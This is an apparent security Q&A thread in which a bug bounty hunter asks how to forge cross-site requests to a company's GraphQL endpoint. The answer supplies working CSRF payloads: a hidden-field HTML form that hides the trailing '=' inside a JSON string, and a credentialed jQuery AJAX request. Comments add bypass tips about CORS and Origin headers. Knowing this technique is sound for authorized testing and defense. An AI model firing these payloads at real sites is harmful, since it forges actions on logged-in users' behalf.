5

I am currently doing bug bounty on a company which uses GRAPHQL for their query language and would like to check if CSRF is possible. After playing around with burpsuite I have conclude the following;

  • Company doesn't use csrf token when fetching data
  • Origin and Referer can be erased and request will still work

If the company is using JSON, I would be able to produce a PoC for CSRF but because they are using GraphQL, I could produce CSRF PoC for the following reason;

  • Everytime form 'Content-Type' is set to 'text/plain' and every data has been setup inside of my input form, a '=' is appended at the end of body request, like this:

    POST /HTTPT/1.1

    --- Request Body ---

    [ {...} ]=

- This equal sign caused the request to fail

IS there anyway I could bypass this? Been looking for a while but got nothing. Thank you in advance!

Emanuel Beni
  • 133
  • 8
  • _"Company doesn't use csrf token when fetching data"_ Keep in mind, you likely wouldn't be able to retrieve the response due to same origin policy. Are there any endpoints that allow you to _write_ instead of _read_? Otherwise CSRF isn't very useful. That said, your payload shows a post request, so maybe this needs clarification. – multithr3at3d Jul 27 '20 at 00:25
  • Look for cors misconfiguration then. – yeah_well Jul 27 '20 at 08:27
  • Hi @multithr3at3d, I found out a couple of CSRF from the company, but they are using JSON insted of graphql – Emanuel Beni Jul 27 '20 at 11:38

1 Answers1

1

There are two ways to fix the additional = sign:

  • use a standard form CSRF payload and "hide" the = sign in a JSON attribute string context
  • use AJAX

You can use the following form to create a syntactically correct JSON POST request:

<html>  
<form action="https://example.com/graphql" method=post enctype="text/plain" >  
<input name='{"query": "[the query]","additional_parameter": "additional_value", "x":"' value='undefined"}' type='hidden'>  
<input type="submit">  
</form>  
</html> 

This will create the following request:

POST /graphql HTTP/1.1
Host: example.com

{"query": "[the query]","additional_parameter": "additional_value", "x":"=undefined"}

Some applications may reject the request if you have additional parameters though. In that case, you can use a standard AJAX request:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script>
$.ajax({
    url: 'https://example.com/graphql', 
    type: 'POST',
   // contentType: "application/json; charset=utf-8", // we can't change the content type unless CORS allows it
    xhrFields: {
       withCredentials: true
    },
    crossDomain: true,
    headers: {
        //'Accept': 'application/json, text/*' // we can't change the accept header unless CORS allows it
    },
        data: '{"query": "[the query]","additional_parameter": "additional_value"}'
    ,
    success: function (result) {
        console.log(result);
    },
    error: function(result) {
        console.log(result);
    }
});
</script>

This will work because for POST requests, no preflight request will be issued. You can't read out the response because of the SOP, but the request will be sent.

The application may still reject the request though because of the non-JSON content type header, which you can't usually modify using AJAX. You can modify it using flash in some (older) browsers (often oos for bug bounties) or if there is some CORS misconfiguration.

tim
  • 29,018
  • 7
  • 95
  • 119
  • Thank you for responding to my question. Apparently, the HTTP request body starts and ends with square bracket. And adding the square bracket would produce the '=' at the end for some reason. – Emanuel Beni Jul 27 '20 at 11:42
  • 1
    @EmanuelBeni You can just add `[`/`]`, the `=` will stay in the string context if done correctly. Example: ` ` – tim Jul 27 '20 at 12:09
  • I works, the equal sign disappeared in the HTTP Body. Do you mind explaining or giving reference why this happens? I assume it is because you add the last additional value (x). Thank you! – Emanuel Beni Jul 27 '20 at 18:20
  • 1
    @EmanuelBeni the POST body is built by combining the `name` attribute with the `value` attribute via `=` (`$name=$value`). So the goal is to but the `=` into a string context, which we can do by splitting the desired payload - say `[{"query":"the query"}]` - into the `name` and `value` parameters. So we could do `$name=[{"query":"the query` and `$value="}]`, which would give us `[{"query":"the query="}]`. But we don't want the `=` sign in one of the string parameters we care about, so we add an additional parameter & value pair - I used `"x":"undefined"`, which is split between name and value. – tim Jul 27 '20 at 21:34
  • Thank you so much for the clear explanation, this helps a lot. On another note, do you think its possible for me to query GraphQL from URL, since I found out that content-type can't be set into 'text/plain', but can be set to 'application/x-www-form-urlencoded'. I looked at the GraphQL documentation online, but the problem is that all of the request there does not have the square bracket '[]'. – Emanuel Beni Jul 28 '20 at 11:46
  • @EmanuelBeni `enctype="application/x-www-form-urlencoded"` would URL encode all special characters. I'm not aware of a way to prevent this. BUT: you *can* use the AJAX approach to set the content type to `application/x-www-form-urlencoded` while keeping the JSON payload plain (without URL encoding)! (you still can't set it to eg `application/json` though, only the three content types accepted by `enctype`; but for your purposes, that should be fine :) ). – tim Jul 28 '20 at 12:56
  • Hi @tim, I am aware of the AJAX approach, unfortunately it is blocked due to the CORS Policy. And an Update it turns out that the '[]' is not needed in the POST Body. – Emanuel Beni Jul 28 '20 at 13:03
  • @EmanuelBeni That shouldn't matter. The POST request will not use preflight (as you are not changing any HTTP header which you couldn't also change with a `
    ` tag) & will be sent. You cannot read the response (you couldn't do that with a `
    either), but the request will be sent and should be processed. Whatever CORS policy is set doesn't matter. The only problem that might occur is that the application parses the `Origin` header and throws an error (it's rare, but if it happens, I'd look at browser quirks which allow removing the origin; maybe on a 307/308 redirect).
    – tim Jul 28 '20 at 13:08
  • Let us [continue this discussion in chat](https://chat.stackexchange.com/rooms/111145/discussion-between-emanuel-beni-and-tim). – Emanuel Beni Jul 28 '20 at 13:41